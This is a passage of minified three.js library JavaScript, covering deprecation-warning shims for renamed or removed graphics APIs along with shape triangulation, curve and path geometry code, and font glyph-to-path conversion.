instead."),e.transformDirection(this)}},crossVector:{value:function(e){return console.warn("THREE.Matrix4: .crossVector() has been removed. Use vector.applyMatrix4( matrix ) instead."),e.applyMatrix4(this)}},translate:{value:function(){console.error("THREE.Matrix4: .translate() has been removed.")}},rotateX:{value:function(){console.error("THREE.Matrix4: .rotateX() has been removed.")}},rotateY:{value:function(){console.error("THREE.Matrix4: .rotateY() has been removed.")}},rotateZ:{value:function(){console.error("THREE.Matrix4: .rotateZ() has been removed.")}},rotateByAxis:{value:function(){console.error("THREE.Matrix4: .rotateByAxis() has been removed.")}}}),Object.defineProperties(n.Plane.prototype,{isIntersectionLine:{value:function(e){return console.warn("THREE.Plane: .isIntersectionLine() has been renamed to .intersectsLine()."),this.intersectsLine(e)}}}),Object.defineProperties(n.Quaternion.prototype,{multiplyVector3:{value:function(e){return console.warn("THREE.Quaternion: .multiplyVector3() has been removed. Use is now vector.applyQuaternion( quaternion ) instead."),e.applyQuaternion(this)}}}),Object.defineProperties(n.Ray.prototype,{isIntersectionBox:{value:function(e){return console.warn("THREE.Ray: .isIntersectionBox() has been renamed to .intersectsBox()."),this.intersectsBox(e)}},isIntersectionPlane:{value:function(e){return console.warn("THREE.Ray: .isIntersectionPlane() has been renamed to .intersectsPlane()."),this.intersectsPlane(e)}},isIntersectionSphere:{value:function(e){return console.warn("THREE.Ray: .isIntersectionSphere() has been renamed to .intersectsSphere()."),this.intersectsSphere(e)}}}),Object.defineProperties(n.Vector3.prototype,{setEulerFromRotationMatrix:{value:function(){console.error("THREE.Vector3: .setEulerFromRotationMatrix() has been removed. Use Euler.setFromRotationMatrix() instead.")}},setEulerFromQuaternion:{value:function(){console.error("THREE.Vector3: .setEulerFromQuaternion() has been removed. Use Euler.setFromQuaternion() instead.")}},getPositionFromMatrix:{value:function(e){return console.warn("THREE.Vector3: .getPositionFromMatrix() has been renamed to .setFromMatrixPosition()."),this.setFromMatrixPosition(e)}},getScaleFromMatrix:{value:function(e){return console.warn("THREE.Vector3: .getScaleFromMatrix() has been renamed to .setFromMatrixScale()."),this.setFromMatrixScale(e)}},getColumnFromMatrix:{value:function(e,t){return console.warn("THREE.Vector3: .getColumnFromMatrix() has been renamed to .setFromMatrixColumn()."),this.setFromMatrixColumn(e,t)}}}),n.Face4=function(e,t,i,r,o,a,s){return console.warn("THREE.Face4 has been removed. A THREE.Face3 will be created instead."),new n.Face3(e,t,i,o,a,s)},n.Vertex=function(e,t,i){return console.warn("THREE.Vertex has been removed. Use THREE.Vector3 instead."),new n.Vector3(e,t,i)},Object.defineProperties(n.Object3D.prototype,{eulerOrder:{get:function(){return console.warn("THREE.Object3D: .eulerOrder is now .rotation.order."),this.rotation.order},set:function(e){console.warn("THREE.Object3D: .eulerOrder is now .rotation.order."),this.rotation.order=e}},getChildByName:{value:function(e){return console.warn("THREE.Object3D: .getChildByName() has been renamed to .getObjectByName()."),this.getObjectByName(e)}},renderDepth:{set:function(){console.warn("THREE.Object3D: .renderDepth has been removed. Use .renderOrder, instead.")}},translate:{value:function(e,t){return console.warn("THREE.Object3D: .translate() has been removed. Use .translateOnAxis( axis, distance ) instead."),this.translateOnAxis(t,e)}},useQuaternion:{get:function(){console.warn("THREE.Object3D: .useQuaternion has been removed. The library now uses quaternions by default.")},set:function(){console.warn("THREE.Object3D: .useQuaternion has been removed. The library now uses quaternions by default.")}}}),Object.defineProperties(n,{PointCloud:{value:function(e,t){return console.warn("THREE.PointCloud has been renamed to THREE.Points."),new n.Points(e,t)}},ParticleSystem:{value:function(e,t){return console.warn("THREE.ParticleSystem has been renamed to THREE.Points."),new n.Points(e,t)}}}),Object.defineProperties(n.Light.prototype,{onlyShadow:{set:function(){console.warn("THREE.Light: .onlyShadow has been removed.")}},shadowCameraFov:{set:function(e){console.warn("THREE.Light: .shadowCameraFov is now .shadow.camera.fov."),this.shadow.camera.fov=e}},shadowCameraLeft:{set:function(e){console.warn("THREE.Light: .shadowCameraLeft is now .shadow.camera.left."),this.shadow.camera.left=e}},shadowCameraRight:{set:function(e){console.warn("THREE.Light: .shadowCameraRight is now .shadow.camera.right."),this.shadow.camera.right=e}},shadowCameraTop:{set:function(e){console.warn("THREE.Light: .shadowCameraTop is now .shadow.camera.top."),this.shadow.camera.top=e}},shadowCameraBottom:{set:function(e){console.warn("THREE.Light: .shadowCameraBottom is now .shadow.camera.bottom."),this.shadow.camera.bottom=e}},shadowCameraNear:{set:function(e){console.warn("THREE.Light: .shadowCameraNear is now .shadow.camera.near."),this.shadow.camera.near=e}},shadowCameraFar:{set:function(e){console.warn("THREE.Light: .shadowCameraFar is now .shadow.camera.far."),this.shadow.camera.far=e}},shadowCameraVisible:{set:function(){console.warn("THREE.Light: .shadowCameraVisible has been removed. Use new THREE.CameraHelper( light.shadow.camera ) instead.")}},shadowBias:{set:function(e){console.warn("THREE.Light: .shadowBias is now .shadow.bias."),this.shadow.bias=e}},shadowDarkness:{set:function(){console.warn("THREE.Light: .shadowDarkness has been removed.")}},shadowMapWidth:{set:function(e){console.warn("THREE.Light: .shadowMapWidth is now .shadow.mapSize.width."),this.shadow.mapSize.width=e}},shadowMapHeight:{set:function(e){console.warn("THREE.Light: .shadowMapHeight is now .shadow.mapSize.height."),this.shadow.mapSize.height=e}}}),Object.defineProperties(n.BufferAttribute.prototype,{length:{get:function(){return console.warn("THREE.BufferAttribute: .length has been deprecated. Please use .count."),this.array.length}}}),Object.defineProperties(n.BufferGeometry.prototype,{drawcalls:{get:function(){return console.error("THREE.BufferGeometry: .drawcalls has been renamed to .groups."),this.groups}},offsets:{get:function(){return console.warn("THREE.BufferGeometry: .offsets has been renamed to .groups."),this.groups}},addIndex:{value:function(e){console.warn("THREE.BufferGeometry: .addIndex() has been renamed to .setIndex()."),this.setIndex(e)}},addDrawCall:{value:function(e,t,i){void 0!==i&&console.warn("THREE.BufferGeometry: .addDrawCall() no longer supports indexOffset."),console.warn("THREE.BufferGeometry: .addDrawCall() is now .addGroup()."),this.addGroup(e,t)}},clearDrawCalls:{value:function(){console.warn("THREE.BufferGeometry: .clearDrawCalls() is now .clearGroups()."),this.clearGroups()}},computeTangents:{value:function(){console.warn("THREE.BufferGeometry: .computeTangents() has been removed.")}},computeOffsets:{value:function(){console.warn("THREE.BufferGeometry: .computeOffsets() has been removed.")}}}),Object.defineProperties(n.Material.prototype,{wrapAround:{get:function(){console.warn("THREE."+this.type+": .wrapAround has been removed.")},set:function(){console.warn("THREE."+this.type+": .wrapAround has been removed.")}},wrapRGB:{get:function(){return console.warn("THREE."+this.type+": .wrapRGB has been removed."),new n.Color}}}),Object.defineProperties(n,{PointCloudMaterial:{value:function(e){return console.warn("THREE.PointCloudMaterial has been renamed to THREE.PointsMaterial."),new n.PointsMaterial(e)}},ParticleBasicMaterial:{value:function(e){return console.warn("THREE.ParticleBasicMaterial has been renamed to THREE.PointsMaterial."),new n.PointsMaterial(e)}},ParticleSystemMaterial:{value:function(e){return console.warn("THREE.ParticleSystemMaterial has been renamed to THREE.PointsMaterial."),new n.PointsMaterial(e)}}}),Object.defineProperties(n.MeshPhongMaterial.prototype,{metal:{get:function(){return console.warn("THREE.MeshPhongMaterial: .metal has been removed. Use THREE.MeshStandardMaterial instead."),!1},set:function(){console.warn("THREE.MeshPhongMaterial: .metal has been removed. Use THREE.MeshStandardMaterial instead")}}}),Object.defineProperties(n.ShaderMaterial.prototype,{derivatives:{get:function(){return console.warn("THREE.ShaderMaterial: .derivatives has been moved to .extensions.derivatives."),this.extensions.derivatives},set:function(e){console.warn("THREE. ShaderMaterial: .derivatives has been moved to .extensions.derivatives."),this.extensions.derivatives=e}}}),Object.defineProperties(n.WebGLRenderer.prototype,{supportsFloatTextures:{value:function(){return console.warn("THREE.WebGLRenderer: .supportsFloatTextures() is now .extensions.get( 'OES_texture_float' )."),this.extensions.get("OES_texture_float")}},supportsHalfFloatTextures:{value:function(){return console.warn("THREE.WebGLRenderer: .supportsHalfFloatTextures() is now .extensions.get( 'OES_texture_half_float' )."),this.extensions.get("OES_texture_half_float")}},supportsStandardDerivatives:{value:function(){return console.warn("THREE.WebGLRenderer: .supportsStandardDerivatives() is now .extensions.get( 'OES_standard_derivatives' )."),this.extensions.get("OES_standard_derivatives")}},supportsCompressedTextureS3TC:{value:function(){return console.warn("THREE.WebGLRenderer: .supportsCompressedTextureS3TC() is now .extensions.get( 'WEBGL_compressed_texture_s3tc' )."),this.extensions.get("WEBGL_compressed_texture_s3tc")}},supportsCompressedTexturePVRTC:{value:function(){return console.warn("THREE.WebGLRenderer: .supportsCompressedTexturePVRTC() is now .extensions.get( 'WEBGL_compressed_texture_pvrtc' )."),this.extensions.get("WEBGL_compressed_texture_pvrtc")}},supportsBlendMinMax:{value:function(){return console.warn("THREE.WebGLRenderer: .supportsBlendMinMax() is now .extensions.get( 'EXT_blend_minmax' )."),this.extensions.get("EXT_blend_minmax")}},supportsVertexTextures:{value:function(){return this.capabilities.vertexTextures}},supportsInstancedArrays:{value:function(){return console.warn("THREE.WebGLRenderer: .supportsInstancedArrays() is now .extensions.get( 'ANGLE_instanced_arrays' )."),this.extensions.get("ANGLE_instanced_arrays")}},enableScissorTest:{value:function(e){console.warn("THREE.WebGLRenderer: .enableScissorTest() is now .setScissorTest()."),this.setScissorTest(e)}},initMaterial:{value:function(){console.warn("THREE.WebGLRenderer: .initMaterial() has been removed.")}},addPrePlugin:{value:function(){console.warn("THREE.WebGLRenderer: .addPrePlugin() has been removed.")}},addPostPlugin:{value:function(){console.warn("THREE.WebGLRenderer: .addPostPlugin() has been removed.")}},updateShadowMap:{value:function(){console.warn("THREE.WebGLRenderer: .updateShadowMap() has been removed.")}},shadowMapEnabled:{get:function(){return this.shadowMap.enabled},set:function(e){console.warn("THREE.WebGLRenderer: .shadowMapEnabled is now .shadowMap.enabled."),this.shadowMap.enabled=e}},shadowMapType:{get:function(){return this.shadowMap.type},set:function(e){console.warn("THREE.WebGLRenderer: .shadowMapType is now .shadowMap.type."),this.shadowMap.type=e}},shadowMapCullFace:{get:function(){return this.shadowMap.cullFace},set:function(e){console.warn("THREE.WebGLRenderer: .shadowMapCullFace is now .shadowMap.cullFace."),this.shadowMap.cullFace=e}}}),Object.defineProperties(n.WebGLRenderTarget.prototype,{wrapS:{get:function(){return console.warn("THREE.WebGLRenderTarget: .wrapS is now .texture.wrapS."),this.texture.wrapS},set:function(e){console.warn("THREE.WebGLRenderTarget: .wrapS is now .texture.wrapS."),this.texture.wrapS=e}},wrapT:{get:function(){return console.warn("THREE.WebGLRenderTarget: .wrapT is now .texture.wrapT."),this.texture.wrapT},set:function(e){console.warn("THREE.WebGLRenderTarget: .wrapT is now .texture.wrapT."),this.texture.wrapT=e}},magFilter:{get:function(){return console.warn("THREE.WebGLRenderTarget: .magFilter is now .texture.magFilter."),this.texture.magFilter},set:function(e){console.warn("THREE.WebGLRenderTarget: .magFilter is now .texture.magFilter."),this.texture.magFilter=e}},minFilter:{get:function(){return console.warn("THREE.WebGLRenderTarget: .minFilter is now .texture.minFilter."),this.texture.minFilter},set:function(e){console.warn("THREE.WebGLRenderTarget: .minFilter is now .texture.minFilter."),this.texture.minFilter=e}},anisotropy:{get:function(){return console.warn("THREE.WebGLRenderTarget: .anisotropy is now .texture.anisotropy."),this.texture.anisotropy},set:function(e){console.warn("THREE.WebGLRenderTarget: .anisotropy is now .texture.anisotropy."),this.texture.anisotropy=e}},offset:{get:function(){return console.warn("THREE.WebGLRenderTarget: .offset is now .texture.offset."),this.texture.offset},set:function(e){console.warn("THREE.WebGLRenderTarget: .offset is now .texture.offset."),this.texture.offset=e}},repeat:{get:function(){return console.warn("THREE.WebGLRenderTarget: .repeat is now .texture.repeat."),this.texture.repeat},set:function(e){console.warn("THREE.WebGLRenderTarget: .repeat is now .texture.repeat."),this.texture.repeat=e}},format:{get:function(){return console.warn("THREE.WebGLRenderTarget: .format is now .texture.format."),this.texture.format},set:function(e){console.warn("THREE.WebGLRenderTarget: .format is now .texture.format."),this.texture.format=e}},type:{get:function(){return console.warn("THREE.WebGLRenderTarget: .type is now .texture.type."),this.texture.type},set:function(e){console.warn("THREE.WebGLRenderTarget: .type is now .texture.type."),this.texture.type=e}},generateMipmaps:{get:function(){return console.warn("THREE.WebGLRenderTarget: .generateMipmaps is now .texture.generateMipmaps."),this.texture.generateMipmaps},set:function(e){console.warn("THREE.WebGLRenderTarget: .generateMipmaps is now .texture.generateMipmaps."),this.texture.generateMipmaps=e}}}),Object.defineProperties(n.Audio.prototype,{load:{value:function(e){console.warn("THREE.Audio: .load has been deprecated. Please use THREE.AudioLoader.");var t=this,i=new n.AudioLoader;return i.load(e,function(e){t.setBuffer(e)}),this}}}),n.GeometryUtils={merge:function(e,t,i){console.warn("THREE.GeometryUtils: .merge() has been moved to Geometry. Use geometry.merge( geometry2, matrix, materialIndexOffset ) instead.");var r;t instanceof n.Mesh&&(t.matrixAutoUpdate&&t.updateMatrix(),r=t.matrix,t=t.geometry),e.merge(t,r,i)},center:function(e){return console.warn("THREE.GeometryUtils: .center() has been moved to Geometry. Use geometry.center() instead."),e.center()}},n.ImageUtils={crossOrigin:void 0,loadTexture:function(e,t,i,r){console.warn("THREE.ImageUtils.loadTexture has been deprecated. Use THREE.TextureLoader() instead.");var o=new n.TextureLoader;o.setCrossOrigin(this.crossOrigin);var a=o.load(e,i,void 0,r);return t&&(a.mapping=t),a},loadTextureCube:function(e,t,i,r){console.warn("THREE.ImageUtils.loadTextureCube has been deprecated. Use THREE.CubeTextureLoader() instead.");var o=new n.CubeTextureLoader;o.setCrossOrigin(this.crossOrigin);var a=o.load(e,i,void 0,r);return t&&(a.mapping=t),a},loadCompressedTexture:function(){console.error("THREE.ImageUtils.loadCompressedTexture has been removed. Use THREE.DDSLoader instead.")},loadCompressedTextureCube:function(){console.error("THREE.ImageUtils.loadCompressedTextureCube has been removed. Use THREE.DDSLoader instead.")}},n.Projector=function(){console.error("THREE.Projector has been moved to /examples/js/renderers/Projector.js."),this.projectVector=function(e,t){console.warn("THREE.Projector: .projectVector() is now vector.project()."),e.project(t)},this.unprojectVector=function(e,t){console.warn("THREE.Projector: .unprojectVector() is now vector.unproject()."),e.unproject(t)},this.pickingRay=function(){console.error("THREE.Projector: .pickingRay() is now raycaster.setFromCamera().")}},n.CanvasRenderer=function(){console.error("THREE.CanvasRenderer has been moved to /examples/js/renderers/CanvasRenderer.js"),this.domElement=document.createElement("canvas"),this.clear=function(){},this.render=function(){},this.setClearColor=function(){},this.setSize=function(){}},n.MeshFaceMaterial=n.MultiMaterial,Object.defineProperties(n.LOD.prototype,{objects:{get:function(){return console.warn("THREE.LOD: .objects has been renamed to .levels."),this.levels}}}),n.CurveUtils={tangentQuadraticBezier:function(e,t,i,r){return 2*(1-e)*(i-t)+2*e*(r-i)},tangentCubicBezier:function(e,t,i,r,n){return-3*t*(1-e)*(1-e)+3*i*(1-e)*(1-e)-6*e*i*(1-e)+6*e*r*(1-e)-3*e*e*r+3*e*e*n},tangentSpline:function(e){var t=6*e*e-6*e,i=3*e*e-4*e+1,r=-6*e*e+6*e,n=3*e*e-2*e;return t+i+r+n},interpolate:function(e,t,i,r,n){var o=.5*(i-e),a=.5*(r-t),s=n*n,c=n*s;return(2*t-2*i+o+a)*c+(-3*t+3*i-2*o-a)*s+o*n+t}},n.SceneUtils={createMultiMaterialObject:function(e,t){for(var i=new n.Group,r=0,o=t.length;o>r;r++)i.add(new n.Mesh(e,t[r]));return i},detach:function(e,t,i){e.applyMatrix(t.matrixWorld),t.remove(e),i.add(e)},attach:function(e,t,i){var r=new n.Matrix4;r.getInverse(i.matrixWorld),e.applyMatrix(r),t.remove(e),i.add(e)}},n.ShapeUtils={area:function(e){for(var t=e.length,i=0,r=t-1,n=0;t>n;r=n++)i+=e[r].x*e[n].y-e[n].x*e[r].y;return.5*i},triangulate:function(){function e(e,t,i,r,n,o){var a,s,c,u,l,h,d,p,f;if(s=e[o[t]].x,c=e[o[t]].y,u=e[o[i]].x,l=e[o[i]].y,h=e[o[r]].x,d=e[o[r]].y,Number.EPSILON>(u-s)*(d-c)-(l-c)*(h-s))return!1;var m,g,v,y,M,A,x,w,E,b,T,L,D,N,S;for(m=h-u,g=d-l,v=s-h,y=c-d,M=u-s,A=l-c,a=0;n>a;a++)if(p=e[o[a]].x,f=e[o[a]].y,!(p===s&&f===c||p===u&&f===l||p===h&&f===d)&&(x=p-s,w=f-c,E=p-u,b=f-l,T=p-h,L=f-d,S=m*b-g*E,D=M*w-A*x,N=v*L-y*T,S>=-Number.EPSILON&&N>=-Number.EPSILON&&D>=-Number.EPSILON))return!1;return!0}return function(t,i){var r=t.length;if(3>r)return null;var o,a,s,c=[],u=[],l=[];if(n.ShapeUtils.area(t)>0)for(a=0;r>a;a++)u[a]=a;else for(a=0;r>a;a++)u[a]=r-1-a;var h=r,d=2*h;for(a=h-1;h>2;){if(d--<=0)return console.warn("THREE.ShapeUtils: Unable to triangulate polygon! in triangulate()"),i?l:c;if(o=a,o>=h&&(o=0),a=o+1,a>=h&&(a=0),s=a+1,s>=h&&(s=0),e(t,o,a,s,h,u)){var p,f,m,g,v;for(p=u[o],f=u[a],m=u[s],c.push([t[p],t[f],t[m]]),l.push([u[o],u[a],u[s]]),g=a,v=a+1;h>v;g++,v++)u[g]=u[v];h--,d=2*h}}return i?l:c}}(),triangulateShape:function(e,t){function i(e,t,i){return e.x!==t.x?e.x<t.x?e.x<=i.x&&i.x<=t.x:t.x<=i.x&&i.x<=e.x:e.y<t.y?e.y<=i.y&&i.y<=t.y:t.y<=i.y&&i.y<=e.y}function r(e,t,r,n,o){var a=t.x-e.x,s=t.y-e.y,c=n.x-r.x,u=n.y-r.y,l=e.x-r.x,h=e.y-r.y,d=s*c-a*u,p=s*l-a*h;if(Math.abs(d)>Number.EPSILON){var f;if(d>0){if(0>p||p>d)return[];if(f=u*l-c*h,0>f||f>d)return[]}else{if(p>0||d>p)return[];if(f=u*l-c*h,f>0||d>f)return[]}if(0===f)return!o||0!==p&&p!==d?[e]:[];if(f===d)return!o||0!==p&&p!==d?[t]:[];if(0===p)return[r];if(p===d)return[n];var m=f/d;return[{x:e.x+m*a,y:e.y+m*s}]}if(0!==p||u*l!==c*h)return[];var g=0===a&&0===s,v=0===c&&0===u;if(g&&v)return e.x!==r.x||e.y!==r.y?[]:[e];if(g)return i(r,n,e)?[e]:[];if(v)return i(e,t,r)?[r]:[];var y,M,A,x,w,E,b,T;return 0!==a?(e.x<t.x?(y=e,A=e.x,M=t,x=t.x):(y=t,A=t.x,M=e,x=e.x),r.x<n.x?(w=r,b=r.x,E=n,T=n.x):(w=n,b=n.x,E=r,T=r.x)):(e.y<t.y?(y=e,A=e.y,M=t,x=t.y):(y=t,A=t.y,M=e,x=e.y),r.y<n.y?(w=r,b=r.y,E=n,T=n.y):(w=n,b=n.y,E=r,T=r.y)),b>=A?b>x?[]:x===b?o?[]:[w]:T>=x?[w,M]:[w,E]:A>T?[]:A===T?o?[]:[y]:T>=x?[y,M]:[y,E]}function o(e,t,i,r){var n=t.x-e.x,o=t.y-e.y,a=i.x-e.x,s=i.y-e.y,c=r.x-e.x,u=r.y-e.y,l=n*s-o*a,h=n*u-o*c;if(Math.abs(l)>Number.EPSILON){var d=c*s-u*a;return l>0?h>=0&&d>=0:h>=0||d>=0}return h>0}function a(e,t){function i(e,t){var i=y.length-1,r=e-1;0>r&&(r=i);var n=e+1;n>i&&(n=0);var a=o(y[e],y[r],y[n],s[t]);if(!a)return!1;var c=s.length-1,u=t-1;0>u&&(u=c);var l=t+1;return l>c&&(l=0),a=o(s[t],s[u],s[l],y[e]),a?!0:!1}function n(e,t){var i,n,o;for(i=0;i<y.length;i++)if(n=i+1,n%=y.length,o=r(e,t,y[i],y[n],!0),o.length>0)return!0;return!1}function a(e,i){var n,o,a,s,c;for(n=0;n<M.length;n++)for(o=t[M[n]],a=0;a<o.length;a++)if(s=a+1,s%=o.length,c=r(e,i,o[a],o[s],!0),c.length>0)return!0;return!1}for(var s,c,u,l,h,d,p,f,m,g,v,y=e.concat(),M=[],A=[],x=0,w=t.length;w>x;x++)M.push(x);for(var E=0,b=2*M.length;M.length>0;){if(b--,0>b){console.log("Infinite Loop! Holes left:"+M.length+", Probably Hole outside Shape!");break}for(u=E;u<y.length;u++){l=y[u],c=-1;for(var x=0;x<M.length;x++)if(d=M[x],p=l.x+":"+l.y+":"+d,void 0===A[p]){s=t[d];for(var T=0;T<s.length;T++)if(h=s[T],i(u,T)&&!n(l,h)&&!a(l,h)){c=T,M.splice(x,1),f=y.slice(0,u+1),m=y.slice(u),g=s.slice(c),v=s.slice(0,c+1),y=f.concat(g).concat(v).concat(m),E=u;break}if(c>=0)break;A[p]=!0}if(c>=0)break}}return y}for(var s,c,u,l,h,d,p={},f=e.concat(),m=0,g=t.length;g>m;m++)Array.prototype.push.apply(f,t[m]);for(s=0,c=f.length;c>s;s++)h=f[s].x+":"+f[s].y,void 0!==p[h]&&console.warn("THREE.Shape: Duplicate point",h),p[h]=s;var v=a(e,t),y=n.ShapeUtils.triangulate(v,!1);for(s=0,c=y.length;c>s;s++)for(l=y[s],u=0;3>u;u++)h=l[u].x+":"+l[u].y,d=p[h],void 0!==d&&(l[u]=d);return y.concat()},isClockWise:function(e){return n.ShapeUtils.area(e)<0},b2:function(){function e(e,t){var i=1-e;return i*i*t}function t(e,t){return 2*(1-e)*e*t}function i(e,t){return e*e*t}return function(r,n,o,a){return e(r,n)+t(r,o)+i(r,a)}}(),b3:function(){function e(e,t){var i=1-e;return i*i*i*t}function t(e,t){var i=1-e;return 3*i*i*e*t}function i(e,t){var i=1-e;return 3*i*e*e*t}function r(e,t){return e*e*e*t}return function(n,o,a,s,c){return e(n,o)+t(n,a)+i(n,s)+r(n,c)}}()},n.Curve=function(){},n.Curve.prototype={constructor:n.Curve,getPoint:function(){return console.warn("THREE.Curve: Warning, getPoint() not implemented!"),null},getPointAt:function(e){var t=this.getUtoTmapping(e);return this.getPoint(t)},getPoints:function(e){e||(e=5);var t,i=[];for(t=0;e>=t;t++)i.push(this.getPoint(t/e));return i},getSpacedPoints:function(e){e||(e=5);var t,i=[];for(t=0;e>=t;t++)i.push(this.getPointAt(t/e));return i},getLength:function(){var e=this.getLengths();return e[e.length-1]},getLengths:function(e){if(e||(e=this.__arcLengthDivisions?this.__arcLengthDivisions:200),this.cacheArcLengths&&this.cacheArcLengths.length===e+1&&!this.needsUpdate)return this.cacheArcLengths;this.needsUpdate=!1;var t,i,r=[],n=this.getPoint(0),o=0;for(r.push(0),i=1;e>=i;i++)t=this.getPoint(i/e),o+=t.distanceTo(n),r.push(o),n=t;return this.cacheArcLengths=r,r},updateArcLengths:function(){this.needsUpdate=!0,this.getLengths()},getUtoTmapping:function(e,t){var i,r=this.getLengths(),n=0,o=r.length;i=t?t:e*r[o-1];for(var a,s=0,c=o-1;c>=s;)if(n=Math.floor(s+(c-s)/2),a=r[n]-i,0>a)s=n+1;else{if(!(a>0)){c=n;break}c=n-1}if(n=c,r[n]===i){var u=n/(o-1);return u}var l=r[n],h=r[n+1],d=h-l,p=(i-l)/d,u=(n+p)/(o-1);return u},getTangent:function(e){var t=1e-4,i=e-t,r=e+t;0>i&&(i=0),r>1&&(r=1);var n=this.getPoint(i),o=this.getPoint(r),a=o.clone().sub(n);return a.normalize()},getTangentAt:function(e){var t=this.getUtoTmapping(e);return this.getTangent(t)}},n.Curve.create=function(e,t){return e.prototype=Object.create(n.Curve.prototype),e.prototype.constructor=e,e.prototype.getPoint=t,e},n.CurvePath=function(){this.curves=[],this.autoClose=!1},n.CurvePath.prototype=Object.create(n.Curve.prototype),n.CurvePath.prototype.constructor=n.CurvePath,n.CurvePath.prototype.add=function(e){this.curves.push(e)},n.CurvePath.prototype.closePath=function(){var e=this.curves[0].getPoint(0),t=this.curves[this.curves.length-1].getPoint(1);e.equals(t)||this.curves.push(new n.LineCurve(t,e))},n.CurvePath.prototype.getPoint=function(e){for(var t=e*this.getLength(),i=this.getCurveLengths(),r=0;r<i.length;){if(i[r]>=t){var n=i[r]-t,o=this.curves[r],a=1-n/o.getLength();return o.getPointAt(a)}r++}return null},n.CurvePath.prototype.getLength=function(){var e=this.getCurveLengths();return e[e.length-1]},n.CurvePath.prototype.getCurveLengths=function(){if(this.cacheLengths&&this.cacheLengths.length===this.curves.length)return this.cacheLengths;for(var e=[],t=0,i=0,r=this.curves.length;r>i;i++)t+=this.curves[i].getLength(),e.push(t);return this.cacheLengths=e,e},n.CurvePath.prototype.createPointsGeometry=function(e){var t=this.getPoints(e);return this.createGeometry(t)},n.CurvePath.prototype.createSpacedPointsGeometry=function(e){var t=this.getSpacedPoints(e);return this.createGeometry(t)},n.CurvePath.prototype.createGeometry=function(e){for(var t=new n.Geometry,i=0,r=e.length;r>i;i++){var o=e[i];t.vertices.push(new n.Vector3(o.x,o.y,o.z||0))}return t},n.Font=function(e){this.data=e},n.Font.prototype={constructor:n.Font,generateShapes:function(e,t,i){function r(e){for(var i=String(e).split(""),r=t/a.resolution,n=0,s=[],c=0;c<i.length;c++){var u=o(i[c],r,n);n+=u.offset,s.push(u.path)}return s}function o(e,t,r){var o=a.glyphs[e]||a.glyphs["?"];if(o){var s,c,u,l,h,d,p,f,m,g,v,y=new n.Path,M=[],A=n.ShapeUtils.b2,x=n.ShapeUtils.b3;if(o.o)for(var w=o._cachedOutline||(o._cachedOutline=o.o.split(" ")),E=0,b=w.length;b>E;){var T=w[E++];switch(T){case"m":s=w[E++]*t+r,c=w[E++]*t,y.moveTo(s,c);break;case"l":s=w[E++]*t+r,c=w[E++]*t,y.lineTo(s,c);break;case"q":if(u=w[E++]*t+r,l=w[E++]*t,p=w[E++]*t+r,f=w[E++]*t,y.quadraticCurveTo(p,f,u,l),v=M[M.length-1]){h=v.x,d=v.y;for(var L=1;i>=L;L++){var D=L/i;A(D,h,p,u),A(D,d,f,l)}}break;case"b":if(u=w[E++]*t+r,l=w[E++]*t,p=w[E++]*t+r,f=w[E++]*t,m=w[E++]*t+r,g=w[E++]*t,y.bezierCurveTo(p,f,m,g,u,l),v=M[M.length-1]){h=v.x,
d=v.y;for(var L=1;i>=L;L++){var D=L/i;x(D,h,p,m,u),x(D,d,f,g,l)}}}}return{offset:o.ha*t,path:y}}}void 0===t&&(t=100),void 0===i&&(i=4);for(var a=this.data,s=r(e),c=[],u=0,l=s.length;l>u;u++)Array.prototype.push.apply(c,s[u].toShapes());return c}},n.Path=function(e){n.CurvePath.call(this),this.actions=[],e&&this.fromPoints(e)},n.Path.prototype=Object.create(n.CurvePath.prototype),n.Path.prototype.constructor=n.Path,n.Path.prototype.fromPoints=function(e){this.moveTo(e[0].x,e[0].y);for(var t=1,i=e.length;i>t;t++)this.lineTo(e[t].x,e[t].y)},n.Path.prototype.moveTo=function(e,t){this.actions.push({action:"moveTo",args:[e,t]})},n.Path.prototype.lineTo=function(e,t){var i=this.actions[this.actions.length-1].args,r=i[i.length-2],o=i[i.length-1],a=new n.LineCurve(new n.Vector2(r,o),new n.Vector2(e,t));this.curves.push(a),this.actions.push({action:"lineTo",args:[e,t]})},n.Path.prototype.quadraticCurveTo=function(e,t,i,r){var o=this.actions[this.actions.length-1].args,a=o[o.length-2],s=o[o.length-1],c=new n.QuadraticBezierCurve(new n.Vector2(a,s),new n.Vector2(e,t),new n.Vector2(i,r));this.curves.push(c),this.actions.push({action:"quadraticCurveTo",args:[e,t,i,r]})},n.Path.prototype.bezierCurveTo=function(e,t,i,r,o,a){var s=this.actions[this.actions.length-1].args,c=s[s.length-2],u=s[s.length-1],l=new n.CubicBezierCurve(new n.Vector2(c,u),new n.Vector2(e,t),new n.Vector2(i,r),new n.Vector2(o,a));this.curves.push(l),this.actions.push({action:"bezierCurveTo",args:[e,t,i,r,o,a]})},n.Path.prototype.splineThru=function(e){var t=Array.prototype.slice.call(arguments),i=this.actions[this.actions.length-1].args,r=i[i.length-2],o=i[i.length-1],a=[new n.Vector2(r,o)];Array.prototype.push.apply(a,e);var s=new n.SplineCurve(a);this.curves.push(s),this.actions.push({action:"splineThru",args:t})},n.Path.prototype.arc=function(e,t,i,r,n,o){var a=this.actions[this.actions.length-1].args,s=a[a.length-2],c=a[a.length-1];this.absarc(e+s,t+c,i,r,n,o)},n.Path.prototype.absarc=function(e,t,i,r,n,o){this.absellipse(e,t,i,i,r,n,o)},n.Path.prototype.ellipse=function(e,t,i,r,n,o,a,s){var c=this.actions[this.actions.length-1].args,u=c[c.length-2],l=c[c.length-1];this.absellipse(e+u,t+l,i,r,n,o,a,s)},n.Path.prototype.absellipse=function(e,t,i,r,o,a,s,c){var u=[e,t,i,r,o,a,s,c||0],l=new n.EllipseCurve(e,t,i,r,o,a,s,c);this.curves.push(l);var h=l.getPoint(1);u.push(h.x),u.push(h.y),this.actions.push({action:"ellipse",args:u})},n.Path.prototype.getSpacedPoints=function(e){e||(e=40);for(var t=[],i=0;e>i;i++)t.push(this.getPoint(i/e));return this.autoClose&&t.push(t[0]),t},n.Path.prototype.getPoints=function(e){e=e||12;for(var t,i,r,o,a,s,c,u,l,h,d,p=n.ShapeUtils.b2,f=n.ShapeUtils.b3,m=[],g=0,v=this.actions.length;v>g;g++){var y=this.actions[g],M=y.action,A=y.args;switch(M){case"moveTo":m.push(new n.Vector2(A[0],A[1]));break;case"lineTo":m.push(new n.Vector2(A[0],A[1]));break;case"quadraticCurveTo":t=A[2],i=A[3],a=A[0],s=A[1],m.length>0?(l=m[m.length-1],c=l.x,u=l.y):(l=this.actions[g-1].args,c=l[l.length-2],u=l[l.length-1]);for(var x=1;e>=x;x++){var w=x/e;h=p(w,c,a,t),d=p(w,u,s,i),m.push(new 